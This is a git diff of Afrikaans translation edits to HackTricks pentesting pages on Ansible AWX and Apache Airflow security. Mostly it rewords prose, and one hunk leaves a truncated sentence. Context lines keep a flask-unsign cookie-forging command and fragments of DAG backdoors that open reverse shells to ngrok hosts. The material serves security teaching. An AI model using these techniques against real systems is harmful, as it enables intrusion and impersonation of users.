diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index 3d22ffbf2..35a85693f 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,6 +1,6 @@
> [!TIP]
-> Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-> Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> Leer en oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+> Leer en oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
>
>
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 932ac34b4..70d99cc69 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,62 +1,62 @@
-# Ansible Tower / AWX / Automation controller Security
+# Ansible Tower / AWX / Automatiseringsbeheerder Sekuriteit
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-**Ansible Tower** of sy oopbron weergawe [**AWX**](https://github.com/ansible/awx) is ook bekend as **Ansible se gebruikerskoppelvlak, dashboard, en REST API**. Met **rolgebaseerde toegangbeheer**, werkskedulering, en grafiese inventarisbestuur, kan jy jou Ansible-infrastruktuur vanaf 'n moderne UI bestuur. Tower se REST API en opdraglyn koppelvlak maak dit eenvoudig om dit in huidige gereedskap en werksvloeie te integreer.
+**Ansible Tower** of sy oopbron weergawe [**AWX**](https://github.com/ansible/awx) is ook bekend as **Ansible se gebruikerskoppelvlak, dashboard, en REST API**. Met **rolgebaseerde toegangbeheer**, werkskedulering, en grafiese inventarisbestuur, kan jy jou Ansible-infrastruktuur vanaf 'n moderne UI bestuur. Tower se REST API en opdraglyn koppelvlak maak dit eenvoudig om dit in huidige gereedskap en werksvloei te integreer.
-**Automation Controller is 'n nuwer** weergawe van Ansible Tower met meer vermoëns.
+**Automatiseringsbeheerder is 'n nuwer** weergawe van Ansible Tower met meer vermoëns.
-### Differences
+### Verskille
-Volgens [**hierdie**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), is die hoof verskille tussen Ansible Tower en AWX die ontvangde ondersteuning en die Ansible Tower het addisionele funksies soos rolgebaseerde toegangbeheer, ondersteuning vir pasgemaakte API's, en gebruikersgedefinieerde werksvloeie.
+Volgens [**hierdie**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), is die hoofverskille tussen Ansible Tower en AWX die ontvangde ondersteuning en die Ansible Tower het addisionele funksies soos rolgebaseerde toegangbeheer, ondersteuning vir pasgemaakte API's, en gebruikersgedefinieerde werksvloei.
-### Tech Stack
+### Tegnologie Stapel
-- **Web Interface**: Dit is die grafiese koppelvlak waar gebruikers inventarisse, akrediteer, sjablone, en werksgeleenthede kan bestuur. Dit is ontwerp om intuïtief te wees en bied visualiseringe om te help met die begrip van die toestand en resultate van jou outomatiseringswerk.
-- **REST API**: Alles wat jy in die webkoppelvlak kan doen, kan jy ook via die REST API doen. Dit beteken jy kan AWX/Tower met ander stelsels integreer of aksies skryf wat jy tipies in die koppelvlak sou uitvoer.
-- **Database**: AWX/Tower gebruik 'n databasis (tipies PostgreSQL) om sy konfigurasie, werksresultate, en ander nodige operasionele data te stoor.
+- **Web Koppelvlak**: Dit is die grafiese koppelvlak waar gebruikers inventarisse, akrediteer, sjablone, en werksgeleenthede kan bestuur. Dit is ontwerp om intuïtief te wees en bied visualisasies om te help met die begrip van die toestand en resultate van jou automatiseringswerk.
+- **REST API**: Alles wat jy in die web koppelvlak kan doen, kan jy ook via die REST API doen. Dit beteken jy kan AWX/Tower met ander stelsels integreer of aksies skryf wat jy tipies in die koppelvlak sou uitvoer.
+- **Databasis**: AWX/Tower gebruik 'n databasis (tipies PostgreSQL) om sy konfigurasie, werksresultate, en ander nodige operasionele data te stoor.
- **RabbitMQ**: Dit is die boodskapstelsel wat deur AWX/Tower gebruik word om tussen die verskillende komponente te kommunikeer, veral tussen die webdiens en die taaklopers.
- **Redis**: Redis dien as 'n kas en 'n agtergrond vir die taaklyn.
-### Logical Components
+### Logiese Komponente
-- **Inventories**: 'n Inventaris is 'n **versameling van gasheers (of nodes)** teenoor welke **werksgeleenthede** (Ansible playbooks) kan **loop**. AWX/Tower laat jou toe om jou inventarisse te definieer en te groepeer en ondersteun ook dinamiese inventarisse wat **gasheerlyste van ander stelsels kan haal** soos AWS, Azure, ens.
-- **Projects**: 'n Projek is in wese 'n **versameling van Ansible playbooks** wat afkomstig is van 'n **weergawebeheerstelsel** (soos Git) om die nuutste playbooks te trek wanneer nodig.
-- **Templates**: Werk sjablone definieer **hoe 'n spesifieke playbook uitgevoer sal word**, wat die **inventaris**, **akrediteer**, en ander **parameters** vir die werk spesifiseer.
-- **Credentials**: AWX/Tower bied 'n veilige manier om **geheime te bestuur en te stoor, soos SSH sleutels, wagwoorde, en API tokens**. Hierdie akrediteer kan met werksjablone geassosieer word sodat playbooks die nodige toegang het wanneer hulle loop.
-- **Task Engine**: Dit is waar die magie gebeur. Die taak enjin is gebou op Ansible en is verantwoordelik vir **die uitvoering van die playbooks**. Werksgeleenthede word na die taak enjin gestuur, wat dan die Ansible playbooks teen die aangewese inventaris met die gespesifiseerde akrediteer uitvoer.
-- **Schedulers and Callbacks**: Dit is gevorderde funksies in AWX/Tower wat toelaat dat **werksgeleenthede geskeduleer kan word** om op spesifieke tye te loop of geaktiveer te word deur eksterne gebeurtenisse.
-- **Notifications**: AWX/Tower kan kennisgewings stuur gebaseer op die sukses of mislukking van werksgeleenthede. Dit ondersteun verskeie middele van kennisgewings soos e-pos, Slack boodskappe, webhooks, ens.
-- **Ansible Playbooks**: Ansible playbooks is konfigurasie, ontplooiing, en orkestrasie gereedskap. Hulle beskryf die gewenste toestand van stelsels op 'n geoutomatiseerde, herhaalbare manier. Geskryf in YAML, gebruik playbooks Ansible se verklarende outomatiserings taal om konfigurasies, take, en stappe wat uitgevoer moet word te beskryf.
+- **Inventarisse**: 'n Inventaris is 'n **versameling van gasheers (of nodes)** teenoor wie se **werksgeleenthede** (Ansible speelboeke) kan **loop**. AWX/Tower laat jou toe om jou inventarisse te definieer en te groepeer en ondersteun ook dinamiese inventarisse wat **gasheerlyste van ander stelsels** soos AWS, Azure, ens. kan **verkry**.
+- **Projekte**: 'n Projek is in wese 'n **versameling van Ansible speelboeke** wat afkomstig is van 'n **weergawebeheerstelsel** (soos Git) om die nuutste speelboeke te trek wanneer nodig.
+- **Sjablone**: Werk sjablone definieer **hoe 'n spesifieke speelboek uitgevoer sal word**, wat die **inventaris**, **akrediteer**, en ander **parameters** vir die werk spesifiseer.
+- **Akrediteer**: AWX/Tower bied 'n veilige manier om **geheime, soos SSH sleutels, wagwoorde, en API tokens** te **bestuur en te stoor**. Hierdie akrediteer kan met werksjablone geassosieer word sodat speelboeke die nodige toegang het wanneer hulle loop.
+- **Taak Enjin**: Dit is waar die magie gebeur. Die taak enjin is gebou op Ansible en is verantwoordelik vir **die uitvoering van die speelboeke**. Werksgeleenthede word na die taak enjin gestuur, wat dan die Ansible speelboeke teen die aangewese inventaris met die gespesifiseerde akrediteer uitvoer.
+- **Skeerders en Terugroepe**: Dit is gevorderde funksies in AWX/Tower wat toelaat dat **werksgeleenthede geskeduleer** kan word om op spesifieke tye te loop of geaktiveer te word deur eksterne gebeurtenisse.
+- **Kennisgewings**: AWX/Tower kan kennisgewings stuur gebaseer op die sukses of mislukking van werksgeleenthede. Dit ondersteun verskeie middele van kennisgewings soos e-pos, Slack boodskappe, webhooks, ens.
+- **Ansible Speelboeke**: Ansible speelboeke is konfigurasie, ontplooiing, en orkestrasie gereedskap. Hulle beskryf die gewenste toestand van stelsels op 'n geoutomatiseerde, herhaalbare manier. Geskryf in YAML, gebruik speelboeke Ansible se verklarende outomatiseringstaal om konfigurasies, take, en stappe wat uitgevoer moet word te beskryf.
-### Job Execution Flow
+### Werk Uitvoering Stroom
-1. **User Interaction**: 'n gebruiker kan met AWX/Tower interaksie hê of deur die **Web Interface** of die **REST API**. Hierdie bied front-end toegang tot al die funksies wat deur AWX/Tower aangebied word.
-2. **Job Initiation**:
-- Die gebruiker, via die Web Interface of API, begin 'n werk gebaseer op 'n **Job Template**.
-- Die Job Template sluit verwysings in na die **Inventaris**, **Project** (wat die playbook bevat), en **Credentials**.
-- By werkinitiëring, word 'n versoek na die AWX/Tower agtergrond gestuur om die werk vir uitvoering te plaas.
-3. **Job Queuing**:
-- **RabbitMQ** hanteer die boodskappe tussen die webkomponent en die taaklopers. Sodra 'n werk geïnisieer is, word 'n boodskap na die taak enjin gestuur met behulp van RabbitMQ.
-- **Redis** dien as die agtergrond vir die taaklyn, wat gequeue werksgeleenthede wat op uitvoering wag bestuur.
-4. **Job Execution**:
-- Die **Task Engine** neem die gequeue werk op. Dit haal die nodige inligting van die **Database** oor die werk se geassosieerde playbook, inventaris, en akrediteer.
-- Met die onttrokken Ansible playbook van die geassosieerde **Project**, voer die Task Engine die playbook teen die gespesifiseerde **Inventaris** nodes uit met die verskafde **Credentials**.
-- Soos die playbook loop, word sy uitvoeringsuitset (logs, feite, ens.) vasgevang en in die **Database** gestoor.
-5. **Job Results**:
-- Sodra die playbook klaar is met loop, word die resultate (sukses, mislukking, logs) in die **Database** gestoor.
-- Gebruikers kan dan die resultate deur die Web Interface sien of dit via die REST API opvra.
-- Gebaseer op werksuitkomste, kan **Notifications** gestuur word om gebruikers of eksterne stelsels oor die werk se status in te lig. Kennisgewings kan e-posse, Slack boodskappe, webhooks, ens. wees.
-6. **External Systems Integration**:
-- **Inventories** kan dinamies van eksterne stelsels verkry word, wat AWX/Tower toelaat om gasheers van bronne soos AWS, Azure, VMware, en meer in te trek.
-- **Projects** (playbooks) kan van weergawebeheerstelsels verkry word, wat die gebruik van op-datum playbooks tydens werksuitvoering verseker.
-- **Schedulers and Callbacks** kan gebruik word om met ander stelsels of gereedskap te integreer, wat AWX/Tower laat reageer op eksterne triggers of werksgeleenthede op voorafbepaalde tye laat loop.
+1. **Gebruiker Interaksie**: 'n Gebruiker kan met AWX/Tower interaksie hê deur die **Web Koppelvlak** of die **REST API**. Hierdie bied front-end toegang tot al die funksies wat deur AWX/Tower aangebied word.
+2. **Werk Inisiasie**:
+- Die gebruiker, via die Web Koppelvlak of API, inisieer 'n werk gebaseer op 'n **Werk Sjabloon**.
+- Die Werk Sjabloon sluit verwysings in na die **Inventaris**, **Projekt** (wat die speelboek bevat), en **Akrediteer**.
+- By werk inisiasie, word 'n versoek na die AWX/Tower agtergrond gestuur om die werk vir uitvoering te plaas.
+3. **Werk Plasing**:
+- **RabbitMQ** hanteer die boodskappe tussen die webkomponent en die taaklopers. Sodra 'n werk geinisieer is, word 'n boodskap na die taak enjin gestuur met behulp van RabbitMQ.
+- **Redis** dien as die agtergrond vir die taaklyn, wat geplaasde werksgeleenthede wat op uitvoering wag, bestuur.
+4. **Werk Uitvoering**:
+- Die **Taak Enjin** neem die geplaatste werk op. Dit verkry die nodige inligting van die **Databasis** oor die werk se geassosieerde speelboek, inventaris, en akrediteer.
+- Met die verkrygde Ansible speelboek van die geassosieerde **Projekt**, voer die Taak Enjin die speelboek teen die gespesifiseerde **Inventaris** nodes uit met die verskafde **Akrediteer**.
+- Soos die speelboek loop, word die uitvoeringsuitset (logs, feite, ens.) vasgevang en in die **Databasis** gestoor.
+5. **Werk Resultate**:
+- Sodra die speelboek klaar is met loop, word die resultate (sukses, mislukking, logs) in die **Databasis** gestoor.
+- Gebruikers kan dan die resultate deur die Web Koppelvlak sien of dit via die REST API opvra.
+- Gebaseer op werksuitkomste, kan **Kennisgewings** gestuur word om gebruikers of eksterne stelsels oor die werk se status in te lig. Kennisgewings kan e-posse, Slack boodskappe, webhooks, ens. wees.
+6. **Eksterne Stelsels Integrasie**:
+- **Inventarisse** kan dinamies van eksterne stelsels verkry word, wat AWX/Tower toelaat om gasheers van bronne soos AWS, Azure, VMware, en meer in te trek.
+- **Projekte** (speelboeke) kan van weergawebeheerstelsels verkry word, wat die gebruik van op-datum speelboeke tydens werk uitvoering verseker.
+- **Skeerders en Terugroepe** kan gebruik word om met ander stelsels of gereedskap te integreer, wat AWX/Tower toelaat om op eksterne triggers te reageer of werksgeleenthede op voorafbepaalde tye uit te voer.
-### AWX lab creation for testing
+### AWX laboratoriumskepping vir toetsing
-[**Volg die docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) is dit moontlik om docker-compose te gebruik om AWX te loop:
+[**Volg die dokumentasie**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) is dit moontlik om docker-compose te gebruik om AWX te loop:
```bash
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
@@ -86,50 +86,50 @@ docker exec tools_awx_1 awx-manage create_preload_data
### Ondersteunde rolle
-Die mees bevoorregte rol word **Sisteem Administrateur** genoem. Enige iemand met hierdie rol kan **enige iets** **wysig**.
+Die mees bevoorregte rol word **Stelselsadministrateur** genoem. Enigeen met hierdie rol kan **enige iets** **wysig**.
-Vanuit 'n **wit boks sekuriteit** hersiening, sal jy die **Sisteem Ouditeur rol** benodig, wat toelaat om **alle stelseldatas** te **bekyk** maar nie enige veranderinge kan aanbring nie. 'n Ander opsie sou wees om die **Organisasie Ouditeur rol** te verkry, maar dit sou beter wees om die ander een te kry.
+Vanuit 'n **wit boks sekuriteit** hersiening, sal jy die **Stelselauditor rol** benodig, wat toelaat om **alle stelseldatas** te **bekyk** maar geen veranderinge kan aanbring nie. 'n Ander opsie sou wees om die **Organisasieauditor rol** te verkry, maar dit sou beter wees om die ander een te kry.
-Breek dit uit om 'n gedetailleerde beskrywing van beskikbare rolle te kry
+Breek uit om 'n gedetailleerde beskrywing van beskikbare rolle te kry
-1. **Sisteem Administrateur**:
-- Dit is die supergebruiker rol met toestemmings om toegang te verkry en enige hulpbron in die stelsel te wysig.
+1. **Stelselsadministrateur**:
+- Dit is die supergebruiker rol met toestemmings om enige hulpbron in die stelsel te benader en te wysig.
- Hulle kan alle organisasies, spanne, projekte, inventarisse, werksjablone, ens. bestuur.
-2. **Sisteem Ouditeur**:
-- Gebruikers met hierdie rol kan alle stelseldatas bekijk maar nie enige veranderinge aanbring nie.
+2. **Stelselauditor**:
+- Gebruikers met hierdie rol kan alle stelseldatas bekijk maar kan geen veranderinge aanbring nie.
- Hierdie rol is ontwerp vir nakoming en toesig.
3. **Organisasie Rolle**:
- **Admin**: Volle beheer oor die organisasie se hulpbronne.
-- **Ouditeur**: Slegs lees toegang tot die organisasie se hulpbronne.
+- **Auditor**: Slegs lees toegang tot die organisasie se hulpbronne.
- **Lid**: Basiese lidmaatskap in 'n organisasie sonder enige spesifieke toestemmings.
-- **Voer Uit**: Kan werksjablone binne die organisasie uitvoer.
+- **Voer uit**: Kan werksjablone binne die organisasie uitvoer.
- **Lees**: Kan die organisasie se hulpbronne bekijk.
-4. **Projekt Rolle**:
+4. **Projektrolle**:
- **Admin**: Kan die projek bestuur en wysig.
- **Gebruik**: Kan die projek in 'n werksjabloon gebruik.
- **Opdateer**: Kan die projek opdateer met SCM (bronbeheer).
-5. **Inventaris Rolle**:
+5. **Inventariserolle**:
- **Admin**: Kan die inventaris bestuur en wysig.
- **Ad Hoc**: Kan ad hoc opdragte op die inventaris uitvoer.
- **Opdateer**: Kan die inventarisbron opdateer.
- **Gebruik**: Kan die inventaris in 'n werksjabloon gebruik.
- **Lees**: Slegs lees toegang.
-6. **Werksjabloon Rolle**:
+6. **Werksjabloonrolle**:
- **Admin**: Kan die werksjabloon bestuur en wysig.
-- **Voer Uit**: Kan die werk uitvoer.
+- **Voer uit**: Kan die werk uitvoer.
- **Lees**: Slegs lees toegang.
7. **Geloofsbriewe Rolle**:
- **Admin**: Kan die geloofsbriewe bestuur en wysig.
- **Gebruik**: Kan die geloofsbriewe in werksjablone of ander relevante hulpbronne gebruik.
- **Lees**: Slegs lees toegang.
-8. **Span Rolle**:
+8. **Spanrolle**:
- **Lid**: Deel van die span maar sonder enige spesifieke toestemmings.
- **Admin**: Kan die span se lede en geassosieerde hulpbronne bestuur.
9. **Werkvloei Rolle**:
- **Admin**: Kan die werkvloei bestuur en wysig.
-- **Voer Uit**: Kan die werkvloei uitvoer.
+- **Voer uit**: Kan die werkvloei uitvoer.
- **Lees**: Slegs lees toegang.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index 389611d80..79a996769 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,12 +1,12 @@
-# Apache Airflow Security
+# Apache Airflow Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
### Basiese Inligting
-[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van die rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings.
+[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings.
-Basies sal Apache Airflow jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**.
+Basies, Apache Airflow sal jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**.
### Plaaslike Laboratorium
@@ -28,7 +28,7 @@ helm delete airflow-release
```
### Airflow Konfigurasie
-Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies in plek vind:
+Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies vind:
{{#ref}}
airflow-configuration.md
@@ -44,7 +44,7 @@ airflow-rbac.md
### Aanvalle
-#### Web Konsolering
+#### Web Konsol Enumerasie
As jy **toegang tot die webkonsol** het, mag jy in staat wees om sommige of al die volgende inligting te bekom:
@@ -62,22 +62,22 @@ Airflow sal standaard die waarde van die veranderlike in die GUI wys, egter, vol
.png>)
-Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI self!**\
+Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI!**\
Om toegang tot daardie waardes vanaf die GUI te verkry, kies net die **veranderlikes** wat jy wil toegang en **klik op Aksies -> Eksporteer**.\
'n Ander manier is om 'n **bruteforce** op die **verborge waarde** uit te voer deur die **soekfilter** totdat jy dit kry:
.png>)
-#### Privilege Escalatie
+#### Privilege Escalation
-As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie onderteken koekie skep om enige ander gebruikersrekening na te boots**.
+As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie ondertekende koekie skep om enige ander gebruikersrekening na te volg**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
-#### DAG Backdoor (RCE in Airflow worker)
+#### DAG Agterdeur (RCE in Airflow werker)
As jy **skrywe toegang** het tot die plek waar die **DAGs gestoor word**, kan jy eenvoudig **een skep** wat vir jou 'n **omgekeerde skulp** sal stuur.\
-Let daarop dat hierdie omgekeerde skulp binne 'n **airflow worker container** uitgevoer gaan word:
+Let daarop dat hierdie omgekeerde skulp binne 'n **airflow werker houer** uitgevoer gaan word:
```python
import pendulum
from airflow import DAG
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
```
#### DAG Backdoor (RCE in Airflow scheduler)
-As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduleerder uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is.
+As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduler uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is.
```python
import pendulum, socket, os, pty
from airflow import DAG
@@ -144,7 +144,7 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAG Skepping
-As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAG-skripte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**.
+As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAGs-skrifte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**.
#### DAG Kode Inspuiting
@@ -154,7 +154,7 @@ Dit is wat in hierdie CVE gebeur het: [https://www.exploit-db.com/exploits/49927
Alles wat jy moet weet om **te begin soek na opdrag inspuitings in DAGs** is dat **parameters** met die kode **`dag_run.conf.get("param_name")`** **toegang verkry**.
-Boonop kan dieselfde kwesbaarheid voorkom met **veranderlikes** (let daarop dat jy met genoeg voorregte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**:
+Boonop kan dieselfde kwesbaarheid met **veranderlikes** voorkom (let daarop dat jy met genoeg regte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**:
```python
from airflow.models import Variable
[...]
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 3fd2d9461..102363edf 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -4,91 +4,7 @@
## Konfigurasie Lêer
-**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die huis van die airflow gebruiker. Hierdie konfigurasie lêer bevat konfigurasie-inligting en **kan interessante en sensitiewe inligting bevat.**
-
-**Daar is twee maniere om toegang tot hierdie lêer te verkry: Deur 'n paar airflow masjiene te kompromitteer, of deur toegang tot die webkonsol.**
-
-Let daarop dat die **waardes binne die konfigurasie lêer** **nie diegene mag wees wat gebruik word nie**, aangesien jy dit kan oorskryf deur omgewingsveranderlikes soos `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` in te stel.
-
-As jy toegang het tot die **konfigurasie lêer in die webbediener**, kan jy die **werklike lopende konfigurasie** op dieselfde bladsy waar die konfigurasie vertoon word, nagaan.\
-As jy **toegang het tot 'n paar masjiene binne die airflow omgewing**, kyk na die **omgewing**.
-
-Sommige interessante waardes om na te kyk wanneer jy die konfigurasie lêer lees:
-
-### \[api]
-
-- **`access_control_allow_headers`**: Dit dui die **toegelate** **koppe** vir **CORS** aan
-- **`access_control_allow_methods`**: Dit dui die **toegelate metodes** vir **CORS** aan
-- **`access_control_allow_origins`**: Dit dui die **toegelate oorspronge** vir **CORS** aan
-- **`auth_backend`**: [**Volgens die dokumentasie**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) kan 'n paar opsies in plek wees om te konfigureer wie toegang tot die API kan hê:
-- `airflow.api.auth.backend.deny_all`: **Standaard kan niemand** toegang tot die API hê nie
-- `airflow.api.auth.backend.default`: **Enigiemand kan** toegang hê sonder verifikasie
-- `airflow.api.auth.backend.kerberos_auth`: Om **kerberos-verifikasie** te konfigureer
-- `airflow.api.auth.backend.basic_auth`: Vir **basiese verifikasie**
-- `airflow.composer.api.backend.composer_auth`: Gebruik komponiste se verifikasie (GCP) (van [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)).
-- `composer_auth_user_registration_role`: Dit dui die **rol** aan wat die **komponiste gebruiker** binne **airflow** sal kry (**Op** standaard).
-- Jy kan ook jou eie **verifikasie** metode met python skep.
-- **`google_key_path`:** Pad na die **GCP diensrekening sleutel**
-
-### **\[atlas]**
-
-- **`password`**: Atlas wagwoord
-- **`username`**: Atlas gebruikersnaam
-
-### \[celery]
-
-- **`flower_basic_auth`** : Kredensiale (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url wat **kredensiale** kan bevat.
-- **`ssl_cacert`**: Pad na die cacert
-- **`ssl_cert`**: Pad na die sertifikaat
-- **`ssl_key`**: Pad na die sleutel
-
-### \[core]
-
-- **`dag_discovery_safe_mode`**: Geaktiveer deur standaard. Wanneer DAGs ontdek word, ignoreer enige lêers wat nie die strings `DAG` en `airflow` bevat nie.
-- **`fernet_key`**: Sleutel om versleutelde veranderlikes te stoor (simmetries)
-- **`hide_sensitive_var_conn_fields`**: Geaktiveer deur standaard, verberg sensitiewe inligting van verbindings.
-- **`security`**: Watter sekuriteitsmodule om te gebruik (byvoorbeeld kerberos)
-
-### \[dask]
-
-- **`tls_ca`**: Pad na ca
-- **`tls_cert`**: Pad na die sertifikaat
-- **`tls_key`**: Pad na die tls sleutel
-
-### \[kerberos]
-
-- **`ccache`**: Pad na ccache lêer
-- **`forwardable`**: Geaktiveer deur standaard
-
-### \[logging]
-
-- **`google_key_path`**: Pad na GCP JSON kredensiale.
-
-### \[secrets]
-
-- **`backend`**: Volledige klasnaam van die secrets backend om te aktiveer
-- **`backend_kwargs`**: Die backend_kwargs parameter word in 'n woordeboek gelaai en aan **init** van die secrets backend klas oorgedra.
-
-### \[smtp]
-
-- **`smtp_password`**: SMTP wagwoord
-- **`smtp_user`**: SMTP gebruiker
-
-### \[webserver]
-
-- **`cookie_samesite`**: Standaard is dit **Lax**, so dit is reeds die swakste moontlike waarde
-- **`cookie_secure`**: Stel **veilige vlag** op die sessie koekie
-- **`expose_config`**: Standaard is dit Vals, as waar, kan die **konfigurasie** **gelees** word vanaf die web **konsol**
-- **`expose_stacktrace`**: Standaard is dit Waar, dit sal **python tracebacks** vertoon (potensieel nuttig vir 'n aanvaller)
-- **`secret_key`**: Dit is die **sleutel wat deur flask gebruik word om die koekies te teken** (as jy dit het, kan jy **enige gebruiker in Airflow naboots**)
-- **`web_server_ssl_cert`**: **Pad** na die **SSL** **sertifikaat**
-- **`web_server_ssl_key`**: **Pad** na die **SSL** **Sleutel**
-- **`x_frame_enabled`**: Standaard is **Waar**, so klikjacking is nie moontlik nie
-
-### Web Verifikasie
-
-Standaard word **web verifikasie** in die lêer **`webserver_config.py`** gespesifiseer en is geconfigureer as
+**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die
```bash
AUTH_TYPE = AUTH_DB
```
@@ -96,7 +12,7 @@ Wat beteken dat die **authentisering teen die databasis nagegaan word**. egter,
```bash
AUTH_TYPE = AUTH_OAUTH
```
-Om die **verifikasie aan derdeparty-dienste** oor te laat.
+Om die **authentisering aan derdeparty dienste** oor te laat.
Daar is egter ook 'n opsie om **anonieme gebruikers toegang** te gee, deur die volgende parameter op die **gewenste rol** in te stel:
```bash
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 764af5a2f..8903d4a0e 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -10,7 +10,7 @@
- **`Public`** gebruikers (anoniem) het geen toestemmings nie.
- **`Viewer`** gebruikers het beperkte kyktoestemmings (slegs lees). Dit **kan nie die konfigurasie sien nie.**
- **`User`** gebruikers het `Viewer` toestemmings plus addisionele gebruikers toestemmings wat hom toelaat om DAGs 'n bietjie te bestuur. Hy **kan die konfigurasie lêer sien.**
-- **`Op`** gebruikers het `User` toestemmings plus addisionele operasionele toestemmings.
+- **`Op`** gebruikers het `User` toestemmings plus addisionele op toestemmings.
Let daarop dat **admin** gebruikers kan **meer rolle skep** met meer **fynere toestemmings**.
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 21e116f82..74b86fc8c 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
